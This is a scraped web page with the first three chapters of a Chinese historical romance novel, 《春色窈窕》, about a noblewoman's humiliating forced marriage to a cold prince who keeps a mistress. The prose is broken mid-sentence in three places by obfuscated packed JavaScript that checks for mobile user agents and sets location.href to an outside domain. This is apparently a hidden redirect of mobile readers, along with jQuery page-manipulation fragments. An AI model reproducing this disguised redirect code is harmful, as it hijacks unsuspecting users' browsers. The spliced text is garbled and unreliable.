《春色窈窕》 1. 第 1 章 冬月初一,天阴。 侍女秋兰呵手推开门,穿过一张圆罩行进内室。 屋里熏着暖炭,细闻还有一股子梨香,里头跋步床上散着绣着细致金线的帷幔,只闻见一点细细的呼吸声。 秋兰轻手轻脚挽起帷幔,一位少女把脸深深埋在被子里,只露出一段乌黑、浓密的发来,印着烛火透出一点点光。 “小姐?卯时了,该起了。”秋兰轻声道。 床上人无甚动静,只有一点隔着锦被的轻微的起伏。 秋兰小声偷笑,趴跪在床边挪揄说:“小姐,大婚可不能睡了,梳洗婆子们都来了,再睡可就都被人看到啦。” “嗯……” 少女裹着被子缓慢地转了一圈,好算抬起了脸,勉强睁开了眼。 这少女生的确是极美的,鹿眼凝腮,一张微微透着血色的瓜子脸,羽睫斜斜朝上飞着,勾出一点点弯月的轮廓,像一株从藕色荷花池子里冒出的绯色花瓣。 沈玉姝脖颈下都塞在被子里,枕边摆着一本去了装订封面的书页,眯着一双迷瞪的眼慢慢从被子里挪出来,接过青盐和热水,缩在床里头洗漱。 她脑袋还迟缓着,记挂着今日成亲的事,心里又生出几分忐忑。 不知为何,她忽又忆起中秋宫宴订婚那夜。 那日她随父亲入宫参加宫宴,照旧献礼后便与姊妹贪嘴多吃了几口酒,不想没过几盏便眼饧耳热,迷糊间再醒就是陌生的寝殿里。 醉意尚未去,身上手脚也发软。 她那时正靠在床栏晕乎着头去寻秋兰,却忽然见到屋门打开,前后莫约六人,她原是以为秋兰寻来了,就听为首丫鬟惊呼道:“王爷在这里!” 她不明所以,转眼却见枕边赫然躺了一个男人! 一时她竟只觉四肢僵硬难以出声,不等她回声,皇后便沉声挥退了宫女,带走了尚在沉睡的恭王。 沈玉姝心思沉沉敛下眼 按宫中规矩,她是待嫁的好人家姑娘,加之二人年龄家世相仿,于是这桩婚事便在那天夜里由皇后做主定下来了。 说到底她其实未曾真正见过恭王的样子。 幼时她娘亲还未去世时,曾与父亲琴瑟和鸣。 她虽年纪尚小记不得大多事,但父母恩爱模样却总历历在目,如今虽说婚事定下不比常人家三媒六聘,但心里总觉是缘分使然,存了几分欣喜。 "姑娘怎么把书放在枕畔……” 秋兰话未说完,倏然发出一声惊呼,手里的书也险些掉在地上。 “这是怎么了?”沈玉姝匆匆回头,视线正落在她手里的书册上。 只见两个被淡淡笔墨勾勒出来的人形相拥交|媾,赤|裸的身体和交合的器具赫然落在纸页上,顿时羞得眼尾都红了,手忙脚乱地把书打落在地上。 “拿走拿走!”沈玉姝说着掩去目,在发觉这书竟是昨夜夫人特拿来与自己搁在枕边的书后,就躁得手指都发麻。 自己竟与这样的书躺了一夜! 秋兰吞吞吐吐:“姑,姑娘,这,这兴许是夫人的好意。大抵是夫人想在小姐出嫁前教些房中事,免得到了夫家不会伺候夫君,抓不住夫君的心……” 沈玉姝面皮燥热下了床坐到妆匣边,嘟囔道:“胡言乱语,哪有这么笼络的。” 她说完像是意识到自己在说什么,又是一顿耳热,脸脖颈都泛上颜色。 她咳了两声匆忙转移了话题:“不是说婆子们来了吗,还不快请进来。”说完又闪躲着视线切切补充道:“那东西……拿远些。” - 怀氏在中堂细细对着流程,忽然想起便问:“辰正便行醮礼了,小姐起了没?” 下人道:“栉沐婆子都去了,想来该是醒了。” 沈父呷口热茶,好笑挪揄:“这孩子素日惫懒,大婚倒终于是勤快几分了。” 他话音未落,一个体态憨厚的妇人匆忙入堂,急急告礼道:“老爷夫人,恭王府的迎亲队已经在路上了。” “不是还没对时辰吗?”沈父皱眉。 迎亲上门该是午时初刻才是,此番不过辰时,醮礼都未成啊。 他的想法刚落下,就听妇人喃喃开了口:“恭王殿下未行醮礼,还让奴婢给老爷带话……”她嗫嚅着未说下去。 “快说!” 妇人硬着头皮道:“恭王殿下说……不过是个形式,让小姐凑合一下,快些出门……” 下人们一时间面面相觑,就听有人嗫嚅道:“那小姐那……” - 恭王的口令传进芜院的时候,婆子们正为花钿的花样争论不休,最后落在了沈玉姝头上。 沈玉姝正摆弄着簪子玩,闻言瞧了桃花又瞧了海棠,愣是未觉察不同,便瞧着婆子试探说:“我瞧着两朵都不错,不若就簪两朵……?” “我的大小姐欸,那可使不得。”婆子正色说,“这花钿就像我们女人一样,一便是一,哪有一女侍二夫的道理?” “那就……”沈玉姝瞧着花样,咬着唇素手落了又起。 有些难以抉择。 忽然屋门被人敲响,一个恭王府来的侍女推门而入,福身道:“奴婢来替王爷传话。” “恭王殿下说,不过是个形式,让小姐凑合一下,快些出门。” 话音落下,沈玉姝顿住,手中一偏,指腹被簪子划出了一个不大不小的口子。 “小姐!”秋兰紧张捧起她的手,又扭头对身后的仆妇们道:“怎么这么不小心,都傻站着干什么,去寻疮药来!” 沈玉姝咬起下唇。 她幼时见父母恩爱、后来同长大的慧姐姐又嫁与大皇子,心里便对婚事生了几分期待。 虽不盼着与父母一般琴瑟和鸣,但也盼着相敬如宾。 可如今看,似乎相敬如宾也有些难。 沈玉姝有些烦闷地皱了鼻子,瞧着桌上的两样花钿愈发郁结,手一甩闷声道:“桃花,贴。” - 待梳妆毕行至正院,远远便看到沈父和怀氏穿着礼服跟着一干下人早早等在那。 沈玉姝加快了点步子走到面前略一福身:“父亲、夫人。” 沈父瞧了又瞧,从托盘里拿起盖头为沈玉姝盖上。 这事原该母亲做,但怀氏为后母,自不如父亲亲厚,便改了流程。 沈父握着沈玉姝的手叹道:“恭王……性子这样,你也未行醮礼,只可怜你娘,看不到你出嫁。” 沈父的手有些凉,在冬月的季节把沈玉姝手心从屋中带来的仅剩一点余温散了干净。 她身上的嫁衣因为匆忙,是平亲王妃前年旧衣改制的,当年是夏装,改了冬装未免冻了些,也不够合身。 沈玉姝眼睛红了一片,蕴出的泪落在虎口带出一点灼热:“父亲……” “你娘去世前,给你缝嫁衣就缝了五六稿。”沈父看着沈玉姝身上有些发暗的嫁衣眼睛又是一酸,“罢了,去了恭王府,事事要以恭王为先,可知晓?” 不待沈玉姝说话,外头便传来一阵乐鸣声,还夹着一干呼声。 此时巳时刚落,离午时还有一个时辰。 “恭王来了。”怀氏道,“届时再嘱咐吧,莫要让恭王殿下等着了。” 沈玉姝扶着沈父的手出了门,将跨过门栏就听怀氏不虞的声音:“恭王殿下早早催我们姝儿梳妆上轿,如今迎亲却不愿亲自下轿?” 怀氏话说刚说完就被沈父打断了,他告罪屈躬道:“殿下赎罪,贱内不知礼,臣替贱内向您赔罪。” 失了沈父握着的手心立刻在发凉的寒风中失温,沈玉姝低着头,不明白父亲为何要告罪,分明是恭王无礼在先。 因为他是恭王吗? 良久,一道冷冽的声音像一把淬了雪的刀锋般落在沈玉姝耳边:“还不上来,是要本王请你吗。” 沈玉姝轻颤了颤。 这场婚礼与她想象中的截然不同,她本以为即便二人无情意,也总该是相互敬重的。 但木已成舟,沈玉姝只得红着眼告别了沈父怀氏,扶着秋兰的手一点点走上了轿。 还不等她坐下,外头马匹嘶鸣而起,带着轿夫也快步跟上,沈玉姝一个趔趄险些栽倒,手下意识地扶住窗棂,指尖上早晨被簪子划出的伤痕钻心得疼。 沈玉姝掀起盖头,怔了会从怀中摸出帕子摁在伤口上,心里沉如水有些委屈,生出了几分迷茫。 ——那恭王究竟为何要如此这般? - 轿子缓缓停下,沈玉姝仓皇理好盖头,下一瞬轿帘就被人拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828249|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,一只微胖的手伸进来,“小姐,请下轿。” 是女人的声音和手,不是尚琢。 尚琢便是恭王。 沈玉姝虽说心有失落,但也索性也在意料之中,便扶着婆子小心下了轿。 站到红绸地上,沈玉姝被盖头挡着视线,只能看见一个隐绰的身影,她迟疑问道:“拜堂在未时,现在时辰怕是没对上……” “小姐跟奴婢来便是。”婆子这么说着便抬步往偏门去,一路将二人带到了中堂旁的游廊,“王爷说恐耽误大婚,辛苦小姐在此等候,如有得罪还请小姐多多包容。”她说完便福身而去。 这游廊东临中堂、西临西小院,冬月的穿堂风冻得人牙酸,更遑论穿着夏衣改制婚服的沈玉姝了,她身子还算康健,但到底是个是女子,不过片刻便手脚发冷。 “阿嚏。”沈玉姝打了喷嚏,因为害怕一墙之隔的中堂宾客听见自己的声音所以极力压着。 “小姐,您披着奴婢的披风吧,别冻着了。”秋兰解下披风小心裹住沈玉姝。 身上的温度在披风里渐渐回温,沈玉姝有些鼻酸,下意识握住了秋兰的手。 她何曾受过这般屈辱,自己和尚琢分明无甚仇怨,若是不愿娶,为何不在那夜与陛下、娘娘言明? “听说恭王殿下连醮礼都未行,想来是厌恶这个新妇厌恶得紧啊。” “不过听说这沈家小姐漂亮的紧,殿下要是不喜欢,我还是可以养一下的嘛哈哈哈。” “得了吧你小子,外头养了几个了,小心你家老爷子打断你的腿,不过我见过那沈小姐,当真是,风姿绰约。” …… 一墙之隔的言论尽数流进沈玉姝的耳里,她瞪着眼不可置信居然会有这般污秽的言论。 她自小便是闺秀典范,何曾受过这般侮辱,一时只觉眼前发黑。 “谁请的宾客。”一道温润的声音像一只巨手般扼住了所有人的声音,像落入溪流的瀑布,干净又不乏攻击性。 沈玉姝一愣,她未曾想到还有人会为她说话。 “是殿下的好友……” 那男人冷冷道:“赶出去,别污脏了待会的仪式。” “是!” 就这样,结束了? 沈玉姝惊愕地捂着胸口,即便有人说了是尚琢的好友,也一样赶出去了? 她悄悄将盖头掀起来一点,探去只瞧见被一群人簇拥坐下的那个男人的一点下|半|身。 他手生的极好,十指关节分明苍劲有力,一颗淡淡的小痣落在虎口上,显出几分温润。 “迎新人——” 礼官的唱词落下,沈玉姝轻轻放下盖头,整理着装与来领路的下人小步去了。 男子抬起头,似有所查的看向那条空无一人的游廊,淡淡收回了视线。 沈玉姝牵着被下人引来的绸缎,心下发沉入了场,试着去找那个为自己说话的人的身影,无一所获。 “愣着做什么。”冷硬的声线不带什么情绪传来。 沈玉姝猛然回神,透过盖头的一方天地见到尚琢早已弯下的腰,在拜天地了。 她忙敛下心神,随着尚琢的动作规规矩矩弯下腰。 - 等到一切仪式结束被下人送入新房的时候,沈玉姝脖颈已经酸了,头面太重,到床边最后几步几乎要走不动,扶着床栏堪堪坐下。 她撩起盖头四下看了一圈,秋兰被挡在外头了,屋里没人,没人能给她拆头面。 沈玉姝揉了揉发酸的脖颈,发出一点点吸气声。 忽然外头传来一阵沉闷的脚步,沈玉姝吓了一跳。 ——是尚琢来了。 她赶忙规规矩矩坐好,敛下眼细细听着。 尚琢推门而入,他随手从婆子手上的托盘中拿过秤杆,顺手挥退了下人们。 门复而关上。 尚琢视线抬去落入床边人身上。 这是他第一次看到自己这位新妇,那夜漆黑一片,自己又吃醉了酒,后来兵荒马乱被定下了婚约,自己心中不忿,但这沈家小姐今日已吃了教训,瞧着也是个安分的,日后若她不生事,养在府中做个闲散王妃也无事,无非是多张嘴的事。 他这般想着,不紧不慢地抬起手,秤杆落在盖头前。 2. 第 2 章 沈玉姝不觉尚琢用意,只觉时间漫长,秤杆的寒温几乎漫到肌肤。 忽然盖头被掀开,亮的有些刺目的烛光扑面而来,沈玉姝不适的闭上眼,好一瞬才缓缓睁开,就见尚琢一双细长的眸子,冷冷的盯着自己。 沈玉姝话头忽然哽住,她不擅长与这种不近人情的人打交道。 尚琢冷眼审视着眼前女子,他不得不娶过门的新妇,分明明丽的脸上一副懵懂的无辜样。 他扯起唇角,宫中司空见惯的模样。 比起这些刻意装点的,他更喜欢干净省心的女子。 尚琢厌烦的收回视线,冷声道:“做好你分内之事,安安分分的。” “记住你的身份,不要耍小聪明。” 这话极为难听,毫不留情的打压指责。 沈玉姝自幼纯良,哪听过这般难听的话,手指下意识便蜷起来。 她从未想过自己的新婚夫婿与自己说的第一句话竟是如此。 她不知尚琢这话从何而来,更不知如何去反驳这种从未见过的恶意。 却不知这一张纠结惊愕的脸落在尚琢眼里只觉烦闷。 尚琢不耐地皱起眉,佯装的单纯自不如他心中人来的纯善干净。 他冷冷收回视线拂袖离去。 看到尚琢离开的背影,沈玉姝有些愣怔。 洞房花烛……他要走吗? 大婚之日夫君不在房中歇,明日府中下人该如何看自己、她又如何去见人? 沈玉姝愣怔出着神,抬眼却见尚琢抬手开了屋门。 她下意识站起身:“王爷?” 沈玉姝声音不大,只是从喉咙里冒出来的一点点疑惑,却巧外头急匆匆跑来一个侍女:“王爷!” 她的声音便混在其中落了。 那侍女匆匆跪在门前,止住了尚琢抬步的动作,就见她告了罪行礼便道:“王爷,纯小姐回来了!” 纯小姐? 沈玉姝敏锐地注意到这人用的词是“回来”。 无外乎是一个常年在府中住着的人,亲戚,或者外室。 据沈玉姝所知,宫中并无以“纯”为名的公主郡主,那便只能是……外室了。 她呼吸猝然顿住。 她期待的夫婿是尊她爱她之人,今夜尚琢不敬她、辱她在前,如今还有外室! 沈玉姝身上发冷,抬眼看见尚琢隐忍的目光,听他哑声道:“竹园不是收拾着吗,带去便是。” “可是……” “下去!”尚琢冷声道。 “是……” 丫鬟不情不愿关了门,临走前却又听尚琢道:“照顾好她,否则唯你们是问。” 沈玉姝眼睛猝然红了。 无论是夫君不敬自己还是夫君心有所属,哪一个都让她无法接受。 她鼻尖酸涩,眼眶里也灼热难受,抬眼却看见原本直径离开的尚琢重新在桌边坐下。 刚入门夫君便已有外室,不管放在哪家都是天大的没脸! 传出去,她还有什么颜面在京中立足? 沈玉姝往前走了几步,咬着牙说道:“王爷,您若早有心上人何不早与陛下娘娘说明。” 半晌却不见尚琢回应。 这是不欲与她言明之意了。 龙凤烛火烧去半数,二人便一坐一站背对瞧着对峙。 良久尚琢开了口:“与你无关。” 沈玉姝闻言闭上眼,她从未想过自己有朝一日竟会嫁给这种人! 她跌坐回床边,眼里蕴出一丝潮意,落在衣摆洇出一片深色。 新婚之夜闹成这样,她以后该怎么见人。 沈玉姝心里委屈,压着抽泣声,心事胡乱飞着,就迷迷糊糊挂着泪痕靠在床栏睡了过去。 - 沈玉姝这一觉睡得不安稳,满头未取下的珠翠压得她肩颈酸疼,喉口伴着呼吸刀割似的难受。 “王爷!王爷!” 沈玉姝不安稳的梦被一道尖锐的女声吵醒了,吓得她打了个哆嗦,迷茫的瞧着大开的门。 外头天还没亮。 门口跪着一个藕色小袄的丫鬟,瞧着像昨夜那人。 沈玉姝头阵阵的疼,有些恶心发昏,一时也瞧不清,只听那丫鬟泣声道:“纯小姐昨夜在院子里等了王爷一夜,今晨说要给王爷准备早膳,结果还没走呢就晕过去了!王爷,您快去瞧瞧小姐吧。” 沈玉姝缓慢的眨了眨眼,晕过去了?她迟缓地处理着这话,良久才反应过来她口中的纯小姐是尚琢的外室。 “去请太医。”尚琢狠狠皱了眉,厌恶的看向沈玉姝,进而拂袖匆匆离去。 沈玉姝撇开视线不愿去瞧他,只强撑起身。 正想唤秋兰,却发觉喉间干涩的骇人,顿时捂着胸口咳起来。 秋兰听见动静快步进来,沏了杯茶递到沈玉姝手边。 沈玉姝脑子发晕,眼睛也有一股酸涩的热意,接过茶盏小口小口喝着润喉,缓解嗓中的难受。 她额间覆上一只微凉的手,平日里畏寒或许有些难挨,今日她却有些贪凉的往上凑去。 “小姐,您在发热。”秋兰关切地瞧着沈玉姝的眼说道。 发热? 她甚少发热,郎中说是因为体质差热不起来,怎的偏偏是今日…… 沈玉姝揉了把酸肿的眼睛,与秋兰道:“去烧热水我要更衣,然后煎碗药来,烈一些,今日回宫,不能出错了。” 秋兰也知晓重要,替沈玉姝脱去了存了一夜的珠翠,又更了寝衣,嘴里嘟嘟囔囔地骂着:“真是知人知面不知心,恭王殿下瞧着人模狗样的,居然是个这种烂心人。” 沈玉姝听着好笑,心中郁结也散了三分,揉着额角对秋兰道:“你嘴倒惯是会说。” 秋兰撇嘴:“奴婢说真话嘛。” 烧热水的姑子正在此刻来了,秋兰将片金叶子塞进她手中又问了府中大夫位置,这才谢过去。 “那姑子告诉了奴婢府里药房的位置,大夫都成日候着。”秋兰扶着沈玉姝浸入浴桶中,“奴婢待会去给小姐煎副药来,您先歇着会。” 沈玉姝将身子浸在撒了花瓣的温水中,白净的面皮被热水熏的发粉,她眼皮酸涩难忍,点了头便靠在浴桶中迷糊小憩了去。 - 竹园和主院相隔甚远,竹园附近清静,细听还有潺潺水声。 尚琢穿堂步入竹园,淡淡的药味便压过竹香透出来,他皱着眉问:“太医可到了?” “未曾,随府大夫来开了些药,说伤了根基,恐要养上些许日子。”丫鬟说着边替他打开了房门。 “大夫都叫来候着。”尚琢撂下话,大步走进屋内。 屋里伺候的丫鬟见尚琢来了,纷纷垂下眼福身行礼,便快步无声退了出去带上了门。 尚琢走到床边,床上的人一对细长眉紧紧皱着,一看便是在睡梦中也不安稳,“冷……” 这一声又低又轻,若非尚琢习武,定是难以捕捉。 他心间轻轻抽了下,眉间的冷意也淡了几分,附身捻着指腹轻轻揉开了她睡梦间紧皱的眉。 这才是让他满意的女人,不会争风吃醋让自己烦心,知道自己不愿见她就会乖乖在外面等上一夜,安分等着自己瞧一眼,而不是像沈氏女一样精明算计。 尚琢握着女人的手在床边坐下,有节奏地轻拍着她的手背。 床上人像一块极脆的玉,瞧得人心里发软。 沈氏女身为主母却小肚鸡肠,不知劝阻,确需教训。 他微微眯了眼,寒声道:“来人。” 一个小厮推门而入:“王爷。” 尚琢指尖在女人的手背上轻微点了两下,轻蔑的勾了唇:“你去给王妃传句话。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828250|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > - 日头渐醒,辰时的更声跨过院门绕进主院。 沈玉姝昨夜在寒气里坐着睡了一夜,这会子浑身泡在热水里,秋兰刚转身眼睛一闭就睡了过去,直到秋兰再回来晃了她,才渐渐醒过来。 她迟缓地摇了摇头,忽然觉得身上有些凉,这才发觉浴桶里的水已经冷了大半。 沈玉姝晃了晃好似托着铅铁的头,扶着秋兰的手踏出浴桶换了衣服,狠狠打了个喷嚏。 “感觉身上有些疲累。”沈玉姝瓮声瓮气的说。 秋兰扶着她的手在桌边坐下,拿着块绢布细细吸着她发尾的湿润,道:“人发起热来自然会身子酸软,药在桌上,小姐先吃些点心垫点肚子再吃,那药房的小郎中说这药空腹吃不得。” “小郎中?”沈玉姝疑惑地透过铜镜瞧向秋兰。 “说是随府大夫的徒弟,大夫都去给那狐媚胚子……纯姑娘看病了,听说小姐病了,他就来替奴婢瞧着开了些药。”秋兰撇着嘴说道,“就这人,小姐您回门可要好好和老爷说道说道,让老爷给您做个主才是。” 府中大夫全去给外室看病,正室连个大夫都支不到,满京城恐怕也是头一份了。 沈玉姝敛下眼在妆匣里挑挑拣拣,拎出根点翠镀金蝶纹簪递给秋兰,咔哒合上了匣子:“今日入宫面圣,梳个简单的发髻便好。” 她如今只盼着与尚琢相敬如宾,二人不再相互侵犯才好,至于外室…… 沈玉姝瞧着镜中的自己,心里发沉。 发丝一点点被挽起。 大概是生病的缘故,总是容易疲惫困倦,还不出半刻钟沈玉姝便没撑住睡了过去。 她又胡乱做了梦,一双手迷迷糊糊又瞧不真切,迷雾一散人便醒了。 大概是没睡好的缘故,沈玉姝只觉得脑袋疼的紧,便低下额头磕在桌面上,道:“把点心拿来,我得垫点肚子喝药。” 秋兰固定住最后一绺头发,应声去取了点心来:“都是恭王府的厨子,也不晓得小姐吃不吃得惯。” “应该……”沈玉姝撑着下巴,苦着脸塞了块点心进嘴里。 大概是生病的原因,嘴里发苦也尝不出什么味来。 “等身子好了,我要吃陈师傅的梅花糕。”她皱着鼻子说。 秋兰被逗笑了,去端了药来说道:“小姐您好生养着身体,养好了奴婢把京城里的梅花糕都寻来给小姐一个个吃去。” 沈玉姝扑哧笑出声,塞了两个梅花糕勉强压了肚子,撑起身子接过她手上的药,还没放到手边,就被药味熏的直冲鼻子,下意识地送远了:“好难闻。” 她不情愿地瞧着手中黑乎乎的药汁,一手捻着裹着蜂蜜的蜜饯,心里盘算怎么吃能少苦一点。 房门正巧被敲响,沈玉姝循声望去,是一个穿着藏蓝色小厮服的男人恭恭敬敬站在门口。 他行事极有分寸,既不站太近也不会四处瞟看,惹得沈玉姝这个刚过门的夫人心里不自在。 沈玉姝温声问:“什么事?” 沈玉姝的眼睛又黑又亮,瞧着人的时候像是毫不设防的,只专注的瞧着你,让人生不出邪念来。 小厮被这一双眼瞧着,想到恭王适才和自己吩咐的话,心里紧了又紧,小声道:“王爷说……回宫推迟了。” 他说完又觉得太冷硬,又硬着头皮加了一句:“王爷会去宫里告假说夫人病了,还请夫人您好生歇着。” 一时室内落针可闻。 我病了? 良久,沈玉姝不可置信的发出一簇气声道:“因为‘纯小姐’病了?” 她压了两日的气愤然而上,直让眼前一阵发黑,捞过桌上的漆黑发苦的药,眉心一抽,捏着鼻子将药一口饮进,狠狠将药碗扔到地上,毫无章法地抹了把眼睛咬着牙哽道:“去告诉你们家王爷,臣妾身子无恙,他若不去,臣妾自己去!” 3. 第 3 章 竹园内寂寥,只听一点竹叶过风声,下人也少见。 尚琢坐在床榻边,虚虚握着女人柔荑般的手,食指有节奏地点着。 忽然,一小厮忙慌走入,立在圆罩前,低低的唤了声王爷。 尚琢闻声抬起眼,瞧见他手中捧着的一个小碗,蹙眉:“何事。” 那小厮嗫嚅道:“夫人、夫人说……” 半晌不见完整句子。 尚琢心底不耐,冷然道:“说话。” 他话音落下,小厮闭上眼梗着脖子快速道:“夫人说她身子好着,您不去她自个去!” 室内落针可闻。 良久小厮睁开一线紧闭的眼,瞧见尚琢青一阵白一阵的神色,腿直打颤。 倏然听一声冷笑,清脆的茶盏碎裂声落在他脚边。 尚琢怒极。 好得很,沈氏竟敢拿父皇压自己!当真是好得很! 尚琢拂袖而起,咬牙道:“更衣。” - 沈玉姝按制梳妆毕,就见身着花青色妆花缎袍,外穿云水纹织褙子,发间简单簪着一根点翠簪,不会太显招摇,又足够重视。 沈玉姝拎起裙摆步上檐子,直到坐稳了才轻轻舒了一口气。 她身子本就不算强健,这番发热又梳妆步行,着实有些费体力,想着便估量了时间与秋兰交代说:“注意着谯楼时间,辰正咱就走。” 听秋兰应罢,便沉沉眠觉去。 辰初三刻,尚琢打马缓慢行来,远远便见斜靠于檐子上小憩的沈玉姝,不悦的皱起眉。 还在外头,就如此作风,实是无甚规矩。他心想。 “让大夫照顾好纯儿,有什么问题就来宫里寻本王。”尚琢交代一声,拎起缰绳对轿夫吩咐一声,打马往宫里去。 辰正三刻,檐子落在止马碑前。 沈玉姝睡得有些发热,耳根有些发痒,不太舒服的醒来去,正好见落檐,便索性喝了些热茶润喉,再扶着秋兰下檐来,也不与尚琢说话,二人相隔数寸跟着太监入了宫。 按规矩,亲王和王妃大婚次日应回宫给皇上、皇后见礼,但今皇后身子不好,常年在宫中修养,尚琢生母品份不够,自不够担这礼,顾见过皇上行礼罢,因皇上独留尚琢,沈玉姝便随宫人引着去后宫独自见皇后去。 凤仪宫外便能闻到隐隐约约的药香,宫中下人不算多,各司其职洒扫着也不多话。 沈玉姝被宫人引着到正殿前,宫人轻敲门再道:“娘娘,恭王妃来了。” 话毕,里头传出一阵轻微的咳嗽声:“进来吧。” 宫人便打了帘福身,沈玉姝浅笑道谢,猫身进去了。 进去便是中堂,却不见皇后身影,里头女官带了路,穿过缂丝毛三羊开泰挂屏越过圆罩这才见到皇后。 皇后未着礼服,身上只和罩子,不像觐见礼样,倒像闲话家常。 沈玉姝不解其意,只规矩行过国礼。 “好孩子,过来让本宫看看。”皇后笑盈盈探身握住沈玉姝的手,将人拉在身边坐下,仔仔细细上下瞧了又瞧说,“你倒是生的像你娘,尤其是这双眼睛,简直一个模子刻出来的。” “臣妾的娘?”沈玉姝好奇问道。 她生母早在自己三岁时便去了,音容早便模糊,听皇后忽然提到生母,心里便生了几分喜悦,禁不住想与皇后多说些。 “是啊,本宫与你娘本是旧时,后来各自成亲了才淡了联系。”她瞧着沈玉姝,“你娘说你喜吃甜,过去这么多年了,也不知你口味变了没,便命小厨房备了这些,仔细瞧瞧可还喜欢?” 沈玉姝顺声望去,只见桌上摆着蜂蜜牛乳等制品,皆是素日所食,心里便欢喜。 皇后是她到皇家后见的第一个与自己散发善意之人,缘此更是亲近,便抵着虎牙甜笑道:“都喜欢的,谢谢娘娘。” 皇后屋里熏着银炭,有些闷热,常人进来只觉舒适,但沈玉姝发着热,这番闷着耳朵便潮红,脸上也滚烫上来灼热。 “脸怎得这般红,是病了?”皇后探身过来,负手贴上她的额头,“好烫。”皇后不赞同的看着沈玉姝,“既是病了,回宫推两日便是,怎得拖着病体来?”她说着唤来女官去请太医,又道,“正巧便不回去了,在本宫这用过膳、让太医瞧瞧,晚些再回去。” “这……”沈玉姝拿不准,有些为难的瞧着皇后。 毕竟新妇回宫觐见,让夫君个人等候,总是有些说不过理。 皇后不明其意,只当是新妇不好意思,便笑着安抚道:“本宫派人去与琢儿说声便是,让夫君适当等待,会让感情更好呢。” 话说到这里,沈玉姝也就不好再推却,只得应了下来。 传话丫头去了,皇后又问沈玉姝好什么菜式,一一让丫鬟们记下来报小厨房去午膳时做,再去传太医来,殿内原本不多的伺候丫鬟纷纷领了活各自去了,只剩三两人随侍着。 沈玉姝喉咙干涩,便捧着茶小口小口喝着润喉,听皇后起话头,便忙放了茶盏,听她说道:“琢儿是个好孩子,性子直、不太爱说话,更不懂表达,喜欢也不晓得说出口,但本宫瞧着他长大,知晓他定然会喜欢你的。” 沈玉姝抿着唇笑了笑,心里对这话不可置否。 又听皇后道:“那日听说琢儿与你的事,本宫心中是欢喜的,比起外面那些个攀龙附凤心思不纯之人,本宫更放心你。”她亲热的拉起沈玉姝的手,“琢儿心思纯良不够成熟,容易听信谗言,你要多多包容他,早早为皇家开枝散叶才是。” 沈玉姝猛然被口中茶水呛住,不免又是一阵咳。 老实说她不认同皇后之言。 她不知皇后从何而得尚琢回喜欢自己的言论,自己也无甚期待,她只盼相敬如宾、外人瞧着不觉其中败絮便好。 沈玉姝出神瞧着杯中起伏的茶叶,渐渐出了神,有些苦恼。 “玉姝?玉姝?” “啊……啊?”沈玉姝陡然回神,瞧过皇后。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828251|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 皇后无奈:“原本是想上桃花鳜鱼的,但是近来的鳜鱼品质都不好,想着换成刀鱼会感觉好些,就是那刀鱼多刺,不知你吃不吃得惯?” “臣妾不挑食。”沈玉姝笑道。 “那就好。”皇后道,“过些日子平亲王大寿,你作为主母要好生备上礼,若有不会的尽管来问本宫。” 沈玉姝乖乖应了。 怀氏未曾过多教她管家之术,如今皇后愿意指点,她自然欣喜。 正说着,先前传话的小丫鬟正巧回来,福身行礼道:“娘娘、王妃。” “恭王怎么说?”皇后笑问。 沈玉姝垂下眼,又捧着一杯茶掩饰喝着,不知尚琢会如何说。 她这般想着,听丫鬟说:“殿下……早便离开了,说府中有急事,祝娘娘凤体安康。” 天下哪有不透风的墙,下人们昨日便听闻恭王对自己的新妇厌恶至极,连醮子礼都不行,今日见到恭王妃出落得像妃子神仙、举止有礼,还当传闻有误,如今恭王甚至不愿与新妇同行、连觐见也不来,只怕…… 一两个胆大的丫鬟睨起眼上下瞧着沈玉姝,心觉莫非是金絮其外,这才赢不得夫君的心吧。 沈玉姝头晕目眩,只恨不得干脆晕了才好。 所有人都知道她不得夫君心,她日后如何见人、如何自处! “大概是事务急,知道了,下去吧。”皇后说完又转向沈玉姝,“那孩子就是这样,忙起来不着家。” 沈玉姝扯起一点嘴角,还不等她想如何作答,女官又匆匆跑来:“娘娘,太子殿下来给您请安了。” “珏儿?”皇后挑眉,“我还当他明日才到,快请进来。” 太子? 沈玉姝慌忙站起身:“臣妾回避一下。”她说完便匆匆往后头刺绣金山通景屏去。 她步履未停,腰间藕色罗帕倏然落下,悠悠落在屏风外,沈玉姝惊呼一声,便欲探身去取,不巧刚探出手,就听外头一阵轻稳脚步声。 心知是太子来了,将探出的手猛然收回,捂着胸口急喘着缩回后头。 男人的视线从屏风懒懒划过,落在角落露出的一寸肌肤来,凝神起笑。 片刻,沈玉姝听一阵温润声起,她透过屏风缝里瞧去,只见到一道环佩白玉的影子,恭敬行去礼,温声道:“儿臣给母亲请安。” 他话音顿住,继而道,“近来安好?” 